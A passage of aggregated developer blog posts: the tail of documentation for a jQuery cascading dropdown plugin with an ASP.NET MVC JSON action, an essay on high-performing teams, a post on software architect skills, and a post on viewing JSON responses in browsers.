select list that will auto populate.  sourceID The ID of the select list, which, on change, causes the targetID to auto populate. url The url to post to Options promptText Text for the first item in the select list Default : -- Select -- loadingText Optional text to display in the select list while it is being loaded. Default : Loading.. errorText Optional text to display if an error occurs while populating the list Default: Error loading data. postData Data you want posted to the url in place of the default Example : { postData : { customerID : $(‘#custID’), orderID : $(‘#orderID’) }} will cause customerID=ALFKI&orderID=2343 to be sent as the POST body. Default: A text string obtained by calling serialize on the sourceID onLoading (event) Raised before the list is populated. onLoaded (event) Raised after the list is populated, The code below shows how to “animate” the  select list after load. Example using custom options: $("#orderID").CascadingDropDown("#customerID", '/Sales/AsyncOrders', { promptText: '-- Pick an Order--', onLoading: function () { $(this).css("background-color", "#ff3"); }, onLoaded: function () { $(this).animate({ backgroundColor: '#ffffff' }, 300); } }); To return JSON from our action method, we use the Json ActionResult passing in an IEnumerable<SelectListItem>. public ActionResult AsyncOrders(string customerID) { var orders = repository.GetOrders(customerID).ToList().Select(a => new SelectListItem() { Text = a.OrderDate.HasValue ? a.OrderDate.Value.ToString("MM/dd/yyyy") : "[ No Date ]", Value = a.OrderID.ToString(), }); return Json(orders); } Sample Project using VS 2010 RTM NorthwindCascading.zip

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  • Is your team is a high-performing team?

    As a child I can remember looking out of the car window as my father drove along the Interstate in Florida while seeing prisoners wearing bright orange jump suits and prison guards keeping a watchful eye on them. The prisoners were taking part in a prison road gang. These road gangs were formed to help the state maintain the state highway infrastructure. The prisoner’s primary responsibilities are to pick up trash and debris from the roadway. This is a prime example of a work group or working group used by most prison systems in the United States. Work groups or working groups can be defined as a collection of individuals or entities working together to achieve a specific goal or accomplish a specific set of tasks. Typically these groups are only established for a short period of time and are dissolved once the desired outcome has been achieved. More often than not group members usually feel as though they are expendable to the group and some even dread that they are even in the group. "A team is a small number of people with complementary skills who are committed to a common purpose, performance goals, and approach for which they are mutually accountable." (Katzenbach and Smith, 1993) So how do you determine that a team is a high-performing team?  This can be determined by three base line criteria that include: consistently high quality output, the promotion of personal growth and well being of all team members, and most importantly the ability to learn and grow as a unit. Initially, a team can successfully create high-performing output without meeting all three criteria, however this will erode over time because team members will feel detached from the group or that they are not growing then the quality of the output will decline. High performing teams are similar to work groups because they both utilize a collection of individuals or entities to accomplish tasks. What distinguish a high-performing team from a work group are its characteristics. High-performing teams contain five core characteristics. These characteristics are what separate a group from a team. The five characteristics of a high-performing team include: Purpose, Performance Measures, People with Tasks and Relationship Skills, Process, and Preparation and Practice. A high-performing team is much more than a work group, and typically has a life cycle that can vary from team to team. The standard team lifecycle consists of five states and is comparable to a human life cycle. The five states of a high-performing team lifecycle include: Formulating, Storming, Normalizing, Performing, and Adjourning. The Formulating State of a team is first realized when the team members are first defined and roles are assigned to all members. This initial stage is very important because it can set the tone for the team and can ultimately determine its success or failure. In addition, this stage requires the team to have a strong leader because team members are normally unclear about specific roles, specific obstacles and goals that my lay ahead of them.  Finally, this stage is where most team members initially meet one another prior to working as a team unless the team members already know each other. The Storming State normally arrives directly after the formulation of a new team because there are still a lot of unknowns amongst the newly formed assembly. As a general rule most of the parties involved in the team are still getting used to the workload, pace of work, deadlines and the validity of various tasks that need to be performed by the group.  In this state everything is questioned because there are so many unknowns. Items commonly questioned include the credentials of others on the team, the actual validity of a project, and the leadership abilities of the team leader.  This can be exemplified by looking at the interactions between animals when they first meet.  If we look at a scenario where two people are walking directly toward each other with their dogs. The dogs will automatically enter the Storming State because they do not know the other dog. Typically in this situation, they attempt to define which is more dominating via play or fighting depending on how the dogs interact with each other. Once dominance has been defined and accepted by both dogs then they will either want to play or leave depending on how the dogs interacted and other environmental variables. Once the Storming State has been realized then the Normalizing State takes over. This state is entered by a team once all the questions of the Storming State have been answered and the team has been tested by a few tasks or projects.  Typically, participants in the team are filled with energy, and comradery, and a strong alliance with team goals and objectives.  A high school football team is a perfect example of the Normalizing State when they start their season.  The player positions have been assigned, the depth chart has been filled and everyone is focused on winning each game. All of the players encourage and expect each other to perform at the best of their abilities and are united by competition from other teams. The Performing State is achieved by a team when its history, working habits, and culture solidify the team as one working unit. In this state team members can anticipate specific behaviors, attitudes, reactions, and challenges are seen as opportunities and not problems. Additionally, each team member knows their role in the team’s success, and the roles of others. This is the most productive state of a group and is where all the time invested working together really pays off. If you look at an Olympic figure skating team skate you can easily see how the time spent working together benefits their performance. They skate as one unit even though it is comprised of two skaters. Each skater has their routine completely memorized as well as their partners. This allows them to anticipate each other’s moves on the ice makes their skating look effortless. The final state of a team is the Adjourning State. This state is where accomplishments by the team and each individual team member are recognized. Additionally, this state also allows for reflection of the interactions between team members, work accomplished and challenges that were faced. Finally, the team celebrates the challenges they have faced and overcome as a unit. Currently in the workplace teams are divided into two different types: Co-located and Distributed Teams. Co-located teams defined as the traditional group of people working together in an office, according to Andy Singleton of Assembla. This traditional type of a team has dominated business in the past due to inadequate technology, which forced workers to primarily interact with one another via face to face meetings.  Team meetings are primarily lead by the person with the highest status in the company. Having personally, participated in meetings of this type, usually a select few of the team members dominate the flow of communication which reduces the input of others in group discussions. Since discussions are dominated by a select few individuals the discussions and group discussion are skewed in favor of the individuals who communicate the most in meetings. In addition, Team members might not give their full opinions on a topic of discussion in part not to offend or create controversy amongst the team and can alter decision made in meetings towards those of the opinions of the dominating team members. Distributed teams are by definition spread across an area or subdivided into separate sections. That is exactly what distributed teams when compared to a more traditional team. It is common place for distributed teams to have team members across town, in the next state, across the country and even with the advances in technology over the last 20 year across the world. These teams allow for more diversity compared to the other type of teams because they allow for more flexibility regarding location. A team could consist of a 30 year old male Italian project manager from New York, a 50 year old female Hispanic from California and a collection of programmers from India because technology allows them to communicate as if they were standing next to one another.  In addition, distributed team members consult with more team members prior to making decisions compared to traditional teams, and take longer to come to decisions due to the changes in time zones and cultural events. However, team members feel more empowered to speak out when they do not agree with the team and to notify others of potential issues regarding the work that the team is doing. Virtual teams which are a subset of the distributed team type is changing organizational strategies due to the fact that a team can now in essence be working 24 hrs a day because of utilizing employees in various time zones and locations.  A primary example of this is with customer services departments, a company can have multiple call centers spread across multiple time zones allowing them to appear to be open 24 hours a day while all a employees work from 9AM to 5 PM every day. Virtual teams also allow human resources departments to go after the best talent for the company regardless of where the potential employee works because they will be a part of a virtual team all that is need is the proper technology to be setup to allow everyone to communicate. In addition to allowing employees to work from home, the company can save space and resources by not having to provide a desk for every team member. In fact, those team members that randomly come into the office can actually share one desk amongst multiple people. This is definitely a cost cutting plus given the current state of the economy. One thing that can turn a team into a high-performing team is leadership. High-performing team leaders need to focus on investing in ongoing personal development, provide team members with direction, structure, and resources needed to accomplish their work, make the right interventions at the right time, and help the team manage boundaries between the team and various external parties involved in the teams work. A team leader needs to invest in ongoing personal development in order to effectively manage their team. People have said that attitude is everything; this is very true about leaders and leadership. A team takes on the attitudes and behaviors of its leaders. This can potentially harm the team and the team’s output. Leaders must concentrate on self-awareness, and understanding their team’s group dynamics to fully understand how to lead them. In addition, always learning new leadership techniques from other effective leaders is also very beneficial. Providing team members with direction, structure, and resources that they need to accomplish their work collectively sounds easy, but it is not.  Leaders need to be able to effectively communicate with their team on how their work helps the company reach for its organizational vision. Conversely, the leader needs to allow his team to work autonomously within specific guidelines to turn the company’s vision into a reality.  This being said the team must be appropriately staffed according to the size of the team’s tasks and their complexity. These tasks should be clear, and be meaningful to the company’s objectives and allow for feedback to be exchanged with the leader and the team member and the leader and upper management. Now if the team is properly staffed, and has a clear and full understanding of what is to be done; the company also must supply the workers with the proper tools to achieve the tasks that they are asked to do. No one should be asked to dig a hole without being given a shovel.  Finally, leaders must reward their team members for accomplishments that they achieve. Awards could range from just a simple congratulatory email, a party to close the completion of a large project, or other monetary rewards. Managing boundaries is very important for team leaders because it can alter attitudes of team members and can add undue stress to the team which will force them to loose focus on the tasks at hand for the group. Team leaders should promote communication between team members so that burdens are shared amongst the team and solutions can be derived from hearing the opinions of multiple sources. This also reinforces team camaraderie and working as a unit. Team leaders must manage the type and timing of interventions as to not create an even bigger mess within the team. Poorly timed interventions can really deflate team members and make them question themselves. This could really increase further and undue interventions by the team leader. Typically, the best time for interventions is when the team is just starting to form so that all unproductive behaviors are removed from the team and that it can retain focus on its agenda. If an intervention is effectively executed the team will feel energized about the work that they are doing, promote communication and interaction amongst the group and improve moral overall. High-performing teams are very import to organizations because they consistently produce high quality output and develop a collective purpose for their work. This drive to succeed allows team members to utilize specific talents allowing for growth in these areas.  In addition, these team members usually take on a sense of ownership with their projects and feel that the other team members are irreplaceable. References: http://blog.assembla.com/assemblablog/tabid/12618/bid/3127/Three-ways-to-organize-your-team-co-located-outsourced-or-global.aspx Katzenbach, J.R. & Smith, D.K. (1993). The Wisdom of Teams: Creating the High-performance Organization. Boston: Harvard Business School.

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  • Required Skill Sets Of A Software Architect

    The question has been asked as to what is the required skill sets of a software architect. The answer to this is that it truly depends. When I state that it depend, it depends on the organization, industry, and skill sets available on the open market and internally within a company. With open ended skill sets even Napoleon Dynamite could be an architect. Napoleon Dynamite’s Skills Pedro: Have you asked anybody yet? Napoleon Dynamite: No, but who would? I don't even have any good skills. Pedro: What do you mean? Napoleon Dynamite: You know, like nunchuck skills, bow hunting skills, computer hacking skills... Girls only want boyfriends who have great skills. Pedro: Aren't you pretty good at drawing, like animals and warriors and stuff? This example might be a little off base but it does illustrate a point. What are the real required skills of a software architect? In my opinion, an architect needs to demonstrate the knowledge of the following three main skill set categories so that they are successful. General Skill Sets of an Architect Basic Engineering Skills Organizational  Skills Interpersonal Skills Basic Engineering Skills are a very large part of what a software architect deal with on a daily bases when designing or updating systems. Think about it, how good would a lead mechanic be if they did not know how to fix or repair cars? They would not be, and that is my point that architects need to have at least some basic skills regarding engineering. The skills listed below are generic in nature because they change from job to job, so in this discussion I am trying to focus more on generalities so that anyone can apply this information to their individual situation. Common Basic Engineering Skills Data Modeling Code Creation Configuration Testing Deployment/Publishing System and Environment Knowledge Organizational Skills If an Architect works for or with an origination then they will need strong organization skills to survive. An architect is no use to a project if the project is missed managed. Additionally, budgets and timelines can really affect a company and their products when established deadlines are repeated not meet. By not meeting these timelines a company is forced to cancel the project and waste all the money and time spent or spend more money until it is completed, if it is ever completed. Common Organizational Skills Project Management Estimation (Cost and Time) Creation and Maintenance of Accepted Standards Interpersonal Skills For me personally Interpersonal skill ranks above the other types of skill sets because an architect can quickly pick up the other two skill sets by communicating with other team/project members so that they are quickly up to speed on a project. Additionally, in order for an architect to manage a project or even derive rough estimates they will more than likely have to consult with others actually working on the code (Programmers/Software Engineers) to get there estimates since they will be the ones actually working on the changes to be implemented. Common Interpersonal Skills Good Communicator Focus on projects success over personal Honors roles within a team Reference: Taylor, R. N., Medvidovic, N., & Dashofy, E. M. (2009). Software architecture: Foundations, theory, and practice Hoboken, NJ: John Wiley & Sons

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  • Displaying JSON in your Browser

    - by Rick Strahl
    Do you work with AJAX requests a lot and need to quickly check URLs for JSON results? Then you probably know that it’s a fairly big hassle to examine JSON results directly in the browser. Yes, you can use FireBug or Fiddler which work pretty well for actual AJAX requests, but if you just fire off a URL for quick testing in the browser you usually get hit by the Save As dialog and the download manager, followed by having to open the saved document in a text editor in FireFox. Enter JSONView which allows you to simply display JSON results directly in the browser. For example, imagine I have a URL like this: http://localhost/westwindwebtoolkitweb/RestService.ashx?Method=ReturnObject&format=json&Name1=Rick&Name2=John&date=12/30/2010 typed directly into the browser and that that returns a complex JSON object. With JSONView the result looks like this: No fuss, no muss. It just works. Here the result is an array of Person objects that contain additional address child objects displayed right in the browser. JSONView basically adds content type checking for application/json results and when it finds a JSON result takes over the rendering and formats the display in the browser. Note that it re-formats the raw JSON as well for a nicer display view along with collapsible regions for objects. You can still use View Source to see the raw JSON string returned. For me this is a huge time-saver. As I work with AJAX result data using GET and REST style URLs quite a bit it’s a big timesaver. To quickly and easily display JSON is a key feature in my development day and JSONView for all its simplicity fits that bill for me. If you’re doing AJAX development and you often review URL based JSON results do yourself a favor and pick up a copy of JSONView. Other Browsers JSONView works only with FireFox – what about other browsers? Chrome Chrome actually displays raw JSON responses as plain text without any plug-ins. There’s no plug-in or configuration needed, it just works, although you won’t get any fancy formatting. [updated from comments] There’s also a port of JSONView available for Chrome from here: https://chrome.google.com/webstore/detail/chklaanhfefbnpoihckbnefhakgolnmc It looks like it works just about the same as the JSONView plug-in for FireFox. Thanks for all that pointed this out… Internet Explorer Internet Explorer probably has the worst response to JSON encoded content: It displays an error page as it apparently tries to render JSON as XML: Yeah that seems real smart – rendering JSON as an XML document. WTF? To get at the actual JSON output, you can use View Source. To get IE to display JSON directly as text you can add a Mime type mapping in the registry:   Create a new application/json key in: HKEY_CLASSES_ROOT\MIME\Database\ContentType\application/json Add a string value of CLSID with a value of {25336920-03F9-11cf-8FD0-00AA00686F13} Add a DWORD value of Encoding with a value of 80000 I can’t take credit for this tip – found it here first on Sky Sander’s Blog. Note that the CLSID can be used for just about any type of text data you want to display as plain text in the IE. It’s the in-place display mechanism and it should work for most text content. For example it might also be useful for looking at CSS and JS files inside of the browser instead of downloading those documents as well. © Rick Strahl, West Wind Technologies, 2005-2011Posted in ASP.NET  AJAX  

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